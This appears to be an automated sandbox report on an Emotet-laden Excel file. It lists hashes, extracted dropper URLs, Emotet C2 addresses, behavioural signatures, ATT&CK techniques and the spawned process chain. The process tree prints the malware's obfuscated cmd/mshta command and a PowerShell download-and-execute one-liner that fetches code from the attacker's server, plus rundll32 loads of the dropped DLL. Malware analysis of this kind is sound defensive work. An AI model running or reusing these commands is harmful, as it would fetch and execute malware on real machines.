emotet | 17d890cb97a2f9cf9919ab6679578e610b079458580d7b625314641a4c1d4180

General

Target

Data 2801.xls
Size

36KB
MD5

ba3893929ffe3930a9b3352dc0a84089
SHA1

0f263d18804644f804093130001f9b315d6223ac
SHA256

17d890cb97a2f9cf9919ab6679578e610b079458580d7b625314641a4c1d4180
SHA512

abad39ee818d8ed6d4a4cc709a36aa5913079c332e5782f750048e824c58c1d39fb533ccb0e2ef4c49e8ed9d3d4ce842481235951ee52bc22f8fcd24ffc5ee4f

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1644	660	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

37 1284 mshta.exe
40 3808 powershell.exe
42 3808 powershell.exe
44 3808 powershell.exe
49 1708 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

3056 rundll32.exe
824 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Dixekuo\plzmdrqpe.tkw rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1280 1284 WerFault.exe mshta.exe

flow	pid	process
37	1284	mshta.exe
40	3808	powershell.exe
42	3808	powershell.exe
44	3808	powershell.exe
49	1708	rundll32.exe

pid	process
3056	rundll32.exe
824	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Dixekuo\plzmdrqpe.tkw	rundll32.exe

pid	pid_target	process	target process
1280	1284	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

660 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
3808	powershell.exe
1280	WerFault.exe
1280	WerFault.exe
1280	WerFault.exe
1280	WerFault.exe
1280	WerFault.exe
1280	WerFault.exe
1280	WerFault.exe
1280	WerFault.exe
1280	WerFault.exe
1280	WerFault.exe
1280	WerFault.exe
1280	WerFault.exe
1280	WerFault.exe
1280	WerFault.exe
3808	powershell.exe
3808	powershell.exe
1708	rundll32.exe
1708	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3808 powershell.exe
Token: SeDebugPrivilege 1280 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3808	powershell.exe
Token: SeDebugPrivilege	1280	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
660	EXCEL.EXE
660	EXCEL.EXE
660	EXCEL.EXE
660	EXCEL.EXE
660	EXCEL.EXE
660	EXCEL.EXE
660	EXCEL.EXE
660	EXCEL.EXE
660	EXCEL.EXE
660	EXCEL.EXE
660	EXCEL.EXE
660	EXCEL.EXE
660	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 660 wrote to memory of 1644	660	EXCEL.EXE	CMD.EXE
PID 660 wrote to memory of 1644	660	EXCEL.EXE	CMD.EXE
PID 1644 wrote to memory of 1284	1644	CMD.EXE	mshta.exe
PID 1644 wrote to memory of 1284	1644	CMD.EXE	mshta.exe
PID 1284 wrote to memory of 3808	1284	mshta.exe	powershell.exe
PID 1284 wrote to memory of 3808	1284	mshta.exe	powershell.exe
PID 3808 wrote to memory of 2224	3808	powershell.exe	cmd.exe
PID 3808 wrote to memory of 2224	3808	powershell.exe	cmd.exe
PID 2224 wrote to memory of 3056	2224	cmd.exe	rundll32.exe
PID 2224 wrote to memory of 3056	2224	cmd.exe	rundll32.exe
PID 2224 wrote to memory of 3056	2224	cmd.exe	rundll32.exe
PID 3056 wrote to memory of 824	3056	rundll32.exe	rundll32.exe
PID 3056 wrote to memory of 824	3056	rundll32.exe	rundll32.exe
PID 3056 wrote to memory of 824	3056	rundll32.exe	rundll32.exe
PID 824 wrote to memory of 820	824	rundll32.exe	rundll32.exe
PID 824 wrote to memory of 820	824	rundll32.exe	rundll32.exe
PID 824 wrote to memory of 820	824	rundll32.exe	rundll32.exe
PID 820 wrote to memory of 1708	820	rundll32.exe	rundll32.exe
PID 820 wrote to memory of 1708	820	rundll32.exe	rundll32.exe
PID 820 wrote to memory of 1708	820	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Data 2801.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:660

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1644

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3808

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:2224

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3056

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:824

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Dixekuo\plzmdrqpe.tkw",jsOTzilh
8⤵
- Suspicious use of WriteProcessMemory
PID:820

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Dixekuo\plzmdrqpe.tkw",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1708

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1284 -s 2252
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1280

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

Download Submit
\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

Download Submit
\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

Download Submit
memory/660-129-0x00007FF86F1F0000-0x00007FF86F200000-memory.dmp

Filesize
64KB

Download
memory/660-119-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/660-128-0x00007FF86F1F0000-0x00007FF86F200000-memory.dmp

Filesize
64KB

Download
memory/660-118-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/660-391-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/660-390-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/660-389-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/660-388-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/660-115-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/660-117-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/660-116-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

Filesize
64KB

Download
memory/820-349-0x00000000029D0000-0x00000000029F7000-memory.dmp

Filesize
156KB

Download
memory/824-351-0x0000000004C70000-0x0000000004C97000-memory.dmp

Filesize
156KB

Download
memory/824-347-0x0000000004AF0000-0x0000000004B17000-memory.dmp

Filesize
156KB

Download
memory/824-336-0x0000000004230000-0x0000000004257000-memory.dmp

Filesize
156KB

Download
memory/824-339-0x0000000004840000-0x0000000004867000-memory.dmp

Filesize
156KB

Download
memory/824-341-0x0000000004950000-0x0000000004977000-memory.dmp

Filesize
156KB

Download
memory/824-343-0x0000000004A30000-0x0000000004A57000-memory.dmp

Filesize
156KB

Download
memory/824-345-0x0000000004A90000-0x0000000004AB7000-memory.dmp

Filesize
156KB

Download
memory/1708-359-0x0000000005580000-0x00000000055A7000-memory.dmp

Filesize
156KB

Download
memory/1708-352-0x0000000004C50000-0x0000000004C77000-memory.dmp

Filesize
156KB

Download
memory/1708-355-0x00000000053C0000-0x00000000053E7000-memory.dmp

Filesize
156KB

Download
memory/1708-357-0x00000000054A0000-0x00000000054C7000-memory.dmp

Filesize
156KB

Download
memory/1708-361-0x0000000005660000-0x0000000005687000-memory.dmp

Filesize
156KB

Download
memory/1708-363-0x0000000005750000-0x0000000005777000-memory.dmp

Filesize
156KB

Download
memory/3056-334-0x0000000004870000-0x0000000004897000-memory.dmp

Filesize
156KB

Download
memory/3808-312-0x000001E2FA0A6000-0x000001E2FA0A8000-memory.dmp

Filesize
8KB

Download
memory/3808-307-0x000001E2FA850000-0x000001E2FA8C6000-memory.dmp

Filesize
472KB

Download
memory/3808-296-0x000001E2FA2B0000-0x000001E2FA2EC000-memory.dmp

Filesize
240KB

Download
memory/3808-295-0x000001E2FA0A3000-0x000001E2FA0A5000-memory.dmp

Filesize
8KB

Download
memory/3808-276-0x000001E2FA000000-0x000001E2FA022000-memory.dmp

Filesize
136KB

Download
memory/3808-274-0x000001E2FA0A0000-0x000001E2FA0A2000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads